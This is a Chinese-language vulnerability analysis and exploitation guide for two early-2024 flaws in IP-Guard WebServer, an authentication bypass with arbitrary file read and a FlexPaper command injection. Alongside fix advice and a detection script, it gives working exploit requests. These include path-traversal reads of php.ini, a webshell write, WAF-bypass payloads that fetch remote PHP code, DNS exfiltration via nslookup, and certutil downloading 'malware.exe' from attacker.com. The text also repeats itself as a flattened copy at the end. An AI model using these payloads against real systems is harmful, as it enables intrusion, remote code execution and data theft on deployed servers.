IP-guard WebServer 2024年年初两个漏洞简单分析
字数 1159 2025-08-05 08:19:59

IP-Guard WebServer 2024年漏洞分析与利用指南

前言

本文档详细分析IP-Guard WebServer在2024年初被披露的两个安全漏洞:权限绕过漏洞(QVD-2024-14103)和FlexPaper远程命令执行漏洞。文档包含漏洞原理分析、利用方法、检测脚本以及修复建议。

权限绕过漏洞(QVD-2024-14103)分析

漏洞位置

漏洞存在于IP-Guard WebServer的mApplyList.php文件中,具体路径为:

ipg/application/controllers/appr/mApplyList.php

漏洞函数分析

关键函数为downloadFile_client,主要功能是从本地web服务器下载文件到本地。函数逻辑如下:

  1. 接收参数:

    • path:文件路径
    • fileName:文件名
    • action:操作类型(download或review)
  2. 路径处理:

    $file_dir = f"tempFile/{path}"
    
  3. 操作判断:

    • 如果actiondownload,则使用fopen打开本地文件并输出到响应中

漏洞利用方法

  1. 初始尝试直接访问:

    GET /ipg/appr/MApplyList/downloadFile_client?path=..%2F..%2F..%2FApache%2Fbin%2Fphp.ini&filename=1&action=download
    

    但会被重定向到登录页面

  2. 发现权限绕过点:

    • 在URL末尾添加/getdatarecord可绕过认证
    • 原因:当funcgetdatarecord时只记录错误日志而不重定向
  3. 最终利用POC:

    GET /ipg/appr/MApplyList/downloadFile_client/getdatarecord?path=..%2F..%2F..%2FApache%2Fbin%2Fphp.ini&filename=1&action=download
    

漏洞修复建议

修改mApplyList.php,在getdatarecord判断后增加重定向:

if($func != 'download') {
    if ($func == 'getdatarecord') {
        $this->errorresult(ErrorCode::OERR_NOT_LOGIN);
        redirect("appr/SignIn");
        return;
    }
    redirect("appr/SignIn");
    return;
}

漏洞检测脚本

Python检测脚本:

import requests
import argparse

def check(url) -> bool:
    try:
        result = False
        if url:
            response = requests.get(f"{url}/ipg/appr/MApplyList/downloadFile_client/getdatarecord")
            if response.status_code == 200:
                result = True
    except Exception as e:
        print(f"Error: {e}")
    return result

def main():
    parser = argparse.ArgumentParser(description='Check if a URL is vulnerabled.')
    parser.add_argument('-u', '--url', type=str, help='URL to check', default=None)
    args = parser.parse_args()
    url = args.url
    if url:
        if check(url):
            print("URL is vulnerabled.")
        else:
            print("URL is not vulnerabled.")
    else:
        print("-u target No URL provided.")

if __name__ == "__main__":
    main()

FlexPaper远程命令执行漏洞分析

漏洞位置

漏洞存在于:

/ipg/static/appr/lib/flexpaper/php/view.php

漏洞原理

  1. view.php接收参数后直接传递给tool_transform.php中的函数
  2. 关键函数trans_pdf2pngtrans_pdftk将参数拼接后直接通过exec执行
  3. 攻击者可通过管道符注入任意命令

漏洞利用方法

  1. 基本POC:

    GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=1.docx"+%26+echo+shell+>+shel233l.txt+%23&page=exp&format=swf&callback=callback&isSplit=true
    
  2. 绕过WAF的高级POC:

    • 方法1:执行PHP代码
      GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=1.pdf&format=swf&isSplit=true&page=||%22C%3A%5CProgram+Files+%28x86%29%5CTEC%5CWebServer%5Cphp%5Cphp.exe%22+-r+%22echo+file_get_contents%28%27http%3A%2F%2F192.168.10.248%2Fserver%2Fs.php%27%29%3B%22%20>>ttttt.php
      
    • 方法2:DNS外带数据
      GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=1.pdf&format=swf&isSplit=true&page=||nslookup%20yafjjulyfe.dgrh3.cn
      
    • 方法3:使用certutil下载文件
      GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=1.pdf&format=swf&isSplit=true&page=||certutil%20-urlcache%20-f%20http://attacker.com/malware.exe%20malware.exe
      

漏洞修复建议

官方修复方法:直接删除view.php文件

总结

  1. 权限绕过漏洞(QVD-2024-14103):

    • 通过/getdatarecord路径绕过认证
    • 可读取服务器任意文件
    • 修复方法:增加重定向逻辑
  2. FlexPaper远程命令执行:

    • 参数直接拼接执行导致命令注入
    • 可通过多种方式绕过WAF
    • 修复方法:删除漏洞文件
  3. 检测方法:

    • 权限绕过:检查/ipg/appr/MApplyList/downloadFile_client/getdatarecord是否可访问
    • 命令执行:检查view.php文件是否存在

附录

  1. 参考链接:

  2. 受影响版本:

    • 确认受影响版本:4.82.0607.0及之前版本
    • 修复版本:需联系厂商获取最新补丁
IP-Guard WebServer 2024年漏洞分析与利用指南 前言 本文档详细分析IP-Guard WebServer在2024年初被披露的两个安全漏洞:权限绕过漏洞(QVD-2024-14103)和FlexPaper远程命令执行漏洞。文档包含漏洞原理分析、利用方法、检测脚本以及修复建议。 权限绕过漏洞(QVD-2024-14103)分析 漏洞位置 漏洞存在于IP-Guard WebServer的 mApplyList.php 文件中,具体路径为: 漏洞函数分析 关键函数为 downloadFile_client ,主要功能是从本地web服务器下载文件到本地。函数逻辑如下: 接收参数: path :文件路径 fileName :文件名 action :操作类型(download或review) 路径处理: 操作判断: 如果 action 为 download ,则使用 fopen 打开本地文件并输出到响应中 漏洞利用方法 初始尝试直接访问: 但会被重定向到登录页面 发现权限绕过点: 在URL末尾添加 /getdatarecord 可绕过认证 原因:当 func 为 getdatarecord 时只记录错误日志而不重定向 最终利用POC: 漏洞修复建议 修改 mApplyList.php ,在 getdatarecord 判断后增加重定向: 漏洞检测脚本 Python检测脚本: FlexPaper远程命令执行漏洞分析 漏洞位置 漏洞存在于: 漏洞原理 view.php 接收参数后直接传递给 tool_transform.php 中的函数 关键函数 trans_pdf2png 和 trans_pdftk 将参数拼接后直接通过 exec 执行 攻击者可通过管道符注入任意命令 漏洞利用方法 基本POC: 绕过WAF的高级POC: 方法1:执行PHP代码 方法2:DNS外带数据 方法3:使用certutil下载文件 漏洞修复建议 官方修复方法:直接删除 view.php 文件 总结 权限绕过漏洞(QVD-2024-14103): 通过 /getdatarecord 路径绕过认证 可读取服务器任意文件 修复方法:增加重定向逻辑 FlexPaper远程命令执行: 参数直接拼接执行导致命令注入 可通过多种方式绕过WAF 修复方法:删除漏洞文件 检测方法: 权限绕过:检查 /ipg/appr/MApplyList/downloadFile_client/getdatarecord 是否可访问 命令执行:检查 view.php 文件是否存在 附录 参考链接: 原始分析文章 检测脚本GitHub 受影响版本: 确认受影响版本:4.82.0607.0及之前版本 修复版本:需联系厂商获取最新补丁